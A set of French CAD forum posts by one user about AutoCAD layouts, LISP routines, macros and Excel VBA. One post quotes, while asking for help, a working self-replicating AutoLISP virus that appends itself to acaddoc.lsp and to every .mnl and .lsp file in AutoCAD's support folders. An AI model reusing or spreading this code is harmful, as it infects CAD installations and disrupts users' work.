stugeol

Les rectangle dans l'espace objet me servent à faire un dallage pour préparer et centrer les mises en pages. Le but est d'avoir une feuille de 1m00 par 0.9 m (Contrain par un cahier des charges) Une petite astuce pour les carnets de profils en PDF, à partir de la version 2010 (A contrôler, je ne suis pas sur), Publier->PDF->Option de publication-> Type->Fichier à plusieurs feuilles. Vous optenez un documents PDF avec l'impression de tous les onglet dans l'ordre. Cordialement.

Bred, Je te remercie, je viens de trouver l'erreur, l'unité du dessin était sur aucune. Maintenant ca fonctionne du tonnerre. Je vais encore gagner du temps... :D Pour un même cadre je peux avoir plusieur présentations : -Etat existant -Travaux préparatoir -Réseaux projetés -Plan masse..... Une fois que mes mise en page sont créer, je créer un dessin par type de présentation avec les xref appropriées, et l'état de calque qui va bien. Ensuite je gére mes impression par le gestionnaire du jeux de feuilles, car bien sur tous le monde ne désire pas le même ensemble de plans. Je te remerci x_all, je garde ça sous le coude, je testerais un peut plus tard.... Merci à vous. Cordialement Stugeol....

Je te remercie Bred, mais pas de chance avec autocad 2011 ça n'a pas l'air de fonctionner, le premier onglet se crée, pui erreur : Présentation d'où la configuration du traceur sera récupérée :mp Régénération de la présentation. Régénération du modèle. Régénération de la présentation. ; erreur: type d'argument incorrect: numberp: nil .En core merci...:)

Bonjour, Je travaille actuellement sur des projets routiers. Je défini mes cadres de présentation (Rectangle) dans l'espace objet. ensuite je créer mes présentations. Aujoud'hui j'ai une cinquantaine de présentations à créer. C'est un peut long et rébarbatif. Je suis donc à la recherche d'une comande ou d'un utilitaire qui puisse permetre de créer une présentation suite à la selection d'un contour, dans l'espace objet. Je vous remercie par avance de votre aide. Cordialement.

Bonjour, Jalna, si me trompe pas, dans le code fourni par gile, il traite les objets srtictement inférieur à la distance minimale. Si ta ligne à une longueur de 100.000, alors il ne se passe rien, essait de modifier la longueur pour quelle soit légérement inférieur à 100. Cordialement.

Merci Bryce, Je n'avais pas pensé à cette option. Elle simplifie beaucoup les chose. Cordialement.

Bonjour, Sous excel je suis en train de faire un générateur de script pour pouvoir permettre l'insertion de points en coordonnées X,Y,Z. Actuellement les ligne du script son de ce modéle : SCU g -inserer PTSALT 792771.068,196025.817,180.03 1 1.69983786363846 180,03 L'idéale serait de pouvoir créer le bloc PTSALT, si il n'existe pas. Le bloc est constitué : D'un cercle de rayon R D'une hachure remplissant le cercle D'un atribut ALT insérer dans le bloc à (R+R/10, R+R/10,0) La hauteure du texte de l'atribut est de h Aurriez vous un Lisp qui puisse tester l'existance du bloc PTSALT, et un lisp qui puissent permettre la création de ce bloc. afin que je puisse l'inserer au début du Script. Le but est de pouvoir renseigner sous Excel le nom du bloc à créer, l'echelle du plans, et la hauteur du texte de l'attribut, les coordonnées des points (x,y,z), et de générerer un script pour créer le bloc si il n'existe pas et d'inserer ce bloc aux coordonnées x,y,z. Je vous remercie par avance de votre aide et de vos pistes. Cordialement.

Bonjour à tous et merci, Hier j'ai pris le temps de faire le tour des sujets sur le forum concernant le traitement des erreurs, il me reste à assimiler et à tester. En ce qui concerne * en début de la macro c'est déjà fais, et sa fonctionne bien. En parallèle je suis en train de réfléchir sur une routine me perméttant d'extraire une partie du dessin, à partir d'une polyligne fermée pouvant contenir des arcs, et je profitais de cet exemple simple pour apprendre à traiter les erreurs en Lisp. Hier soir j'ai pris le temps de faire le tour des sujets concernant le traitement des erreurs sur le forum, j'ai plus qu'à assimiler et à tester. Je vous remercie encore pour vos pistes et vos astuces. cordialement.

En consultant l'aide voici à quoi j'abouti, mais cela ne fonctionne pas. (defun c:essait () (vl-load-com) (setq errobj (vl-catch-all-apply (progn (setq test1 0) (While (> -1 text1) (command "NCOPY" pause "" "0,0,0" "") (princ) (command "_laycur" "D" "") (princ) ) ) ) ) (if (vl-catch-all-error-p errobj) (progn (print (strcat "An error occurred: " (vl-catch-all-error-message errobj) ) ) (prompt "Voulez-vous continuez? (Y/N) -> ") (setq ans (getstring)) (if (equal (strcase ans) "N") (print "Fin de la fonction essait") (essait) ) ) (print errobj) ) (princ) ) Pourriez vous me guider? Je vous remercie par avance. Cordialement.

Je ne sait pas encore gerer les erreur en Lisp, je vais faire un petit tour dans l'aide. Je te remercie Patrick pour ton aide. Cordialement.

Bonjour, En Lisp je voudrais répéter un esemble d'instruction tant que la touche esc n'est pas enfoncer. Je vous remercie par avance de vos solutions. Cordialement.

En faisant quelques recherches ce week-end j'ai trouvé la solution pour laisser le choix à l'utilisateur : pause, ce qui me donne pour la traduction de la macro en Lisp : (Defun C:CopXref () (command "NCOPY" pause "" "0,0,0" "") (princ) (command "_laycur" "D" "") (princ) ) :) ...

Afin de finaliser la chose, j'ai fais une macro, l'inconvenient c'est qu'il faut cliquer sur l'iconne à chaque fois, comment puije executer une commande à partir d'un lisp, et comment puije récupérer des données utilisateur. En bref je voudrais traduire cette macro en lisp : ^C^CNCOPY^M\^M^M^M_laycur^MD^M; Dont voici la traduction 1) ^C^C Annulation des commandes en cours 2) NCOPY^M lancement de la commande NCOPY 3) \ saisie de la selection par l'utilisateur 4) ^M^M^M, trois entré pour finir la commande NCOPY 5) _laycur^M lancement de la commande mettre dans le calque actif D^M selection de la derniere entité créer puis validation Mon souci est le suivant avec : (Command "NCOPY") comment laisser le choix de la selection à l'utilisateur puis d'executer la suite de la commande automatiquement Je vous remercie par avance. Cordialement...:)

Merci à vous, Lecrab, je viens de tester offset in xref, ça fonctionne à merveille, à voir avec l'usage. cela fonctionne qu'avec la commande offset, ce qui implique un décallage non nul. Tramber, je ne connaissait pas la commande NCOPY, merci de me l'avoir fais découvrir, elle conviens exactement, je vais me faire une petite macro avec l'enregistrement d'action, et le tour est joué. Merci à tous le monde, grace à vous je vais gagner beaucoup de temps. :D Encore merci....

Je viens de tester, dans mon cas cela ne fonctionne pas car les polylignes sont dans des références externes que l'on ne doits pas modifier, mais je garde ces routines sous le coudes qui pourrons me faire gagner du temps dans d'autres situations. Encore merci, et je reste ouvert à toutes nouvelles propositions. Cordialement.

Merci lecrabe, et merci à Giles pour ces routines, je vais tester de suite.

Bonjour jalna, avec la commande contour j'ai de nombreux soucis dès que des polylignes sont ouvertes, ou quand les polylignes s'intersectes, voir quand les polylignes ont des sommets superposés, du coup je perd pas mal de temps.

Bonjour, Depuis quelques jours je travaille sur des métrès, de ce fait je dois redessiner de nombreux contours. Aurriez vous dans vos tirroire ou dans vos bessace une routine qui permte de tracer une polyligne entre deux points de polyligne. Par exemple, quand je redessine le contour d'une chaussée, je retrace une polyligne qui se superpose à la polyligne du fil d'eau de la bordure, qui peut être une polyligne contenant des arcs. Je recherche une routine qui me permete de tracer cette polyligne en sélectionnant les points de départ et de fin de la polyligne appartnant au fil d'eau de la bordure. Je vous remercie par avance de vôtre aide. Cordialement.

Merci de vos réponses, Nous avons résolu le problème en supprimant tous les lisp du poste, puis en supprimant les répertoir userData\Autodesk, puis réinstallation d'autocad. Tout est rentré dans l'ordre. Cordialement.

Je ne pense pas non plus. J'ai tous remis entre les mains des informaticiens. Il faudra peut être réinstaller autocad civil3D pour retrouver un fonctionnement normale...

Merci de vos réponce. Ce lisp perturbe-t-il le fonctionnement d'autocad? Par exemple je n'ai plus accés aux commandes FRONT, BACK, ABOVE, pour gerer les ordres de tracés.

Ces fichiers viennent du topographe, et apparement ils perturbent le fonctionnement d'autocad. Je n'es plus accés au commande d'ordre de tracé, et d'autres artefactes... Voici un extrait du code : (setq flagx t) (setq bz "(setq flagx t)") (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target "r")) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source "r")) (setq wjm1 (open target "a")) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile "acad.mnl")) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile "acad.exe")) (setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath "[url="file://\\support"]\\support[/url]")) (setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar "dwgname")) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath "[url="file://\\acaddoc.lsp"]\\acaddoc.lsp[/url]")) (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while

Bonjour, Je travaille sur des fichier autoacad, lors de l'ouverture de ces fichier j'ai un ensmeble de fonction qui s'exécutent. Depuis je ne peux plus gerer l'ordre d'impression. j'ai en retour commande inconnue. Quand je vais dans Outils-> Autolisp-> Charger une application->Au démarage contenu..., la liste est vide. Comment se débarasser de ces fonctions (Fichier joint), et à quoi servent-elles? Je vous remercie par avance de vôtre aide. Cordialement.

Bonjour, Quand tu dis pour le faire sur une plage de ligne c'est à dir? Colorer la ligne entière? Dans ce cas tu peux essayer : Range("B1:E1").EntireRow.interior.colorIndex = 34 Si tu veux le faire sur plusieur lignes différentes où la cellule de colonne D contient la valeur D, voici un moyen de procédé si tu n'as pas de cellule vide sur la colonne D : 1) Faire un itération sur les cellules de la colonne D 2)tester si la cellule est vide 2.1) si oui quiter l'itération. 2.2) si non, contient-elle la valeur D 2.2.1) si oui colore la plage de cellule (ou la ligne entière au choix) 2.2.2) Si non passer à la cellule suivante Ce qui te donne en code : Dim i As Integer i = 0 Do i = i + 1 Select Case (Cells(i, 4).Value) Case "D" Cells(i, 4).EntireRow.Interior.ColorIndex = 34 'Colore la ligne entière 'Range(Range(Cells(i, 2), Cells(i, 5))).Interior.ColorIndex = 34 pour colorer juste ta plage de cellule sur la ligne End Select Loop Until (Cells(i, 4).Value = Empty) Remarque tu peux emplacer le select case par if then else si tu n'as qu'un cas à traiter. Cordialement.

Je vous remercie tous pour vos solutions. Ce fût pour moi un bon exercice. cordialement.